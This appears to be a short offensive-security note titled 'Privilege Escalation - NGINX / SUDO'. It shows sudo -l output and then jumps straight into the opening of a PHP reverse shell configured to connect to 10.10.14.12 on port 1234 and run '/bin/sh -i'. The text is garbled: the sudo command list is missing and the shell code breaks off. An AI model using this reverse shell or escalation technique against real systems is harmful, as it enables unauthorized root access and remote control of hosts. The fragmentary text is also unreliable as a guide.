Damien Luke damienluke

Privilege Escalation - NGINX / SUDO

Condition - You must have sudo permission on nginx:

user@host:~$ sudo -l
Matching Defaults entries for user on host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on host:

	<?php

	set_time_limit (0);
	$VERSION = "1.0";
	$ip = '10.10.14.12'; // CHANGE THIS
	$port = 1234; // CHANGE THIS
	$chunk_size = 1400;
	$write_a = null;
	$error_a = null;
	$shell = 'uname -a; w; id; /bin/sh -i';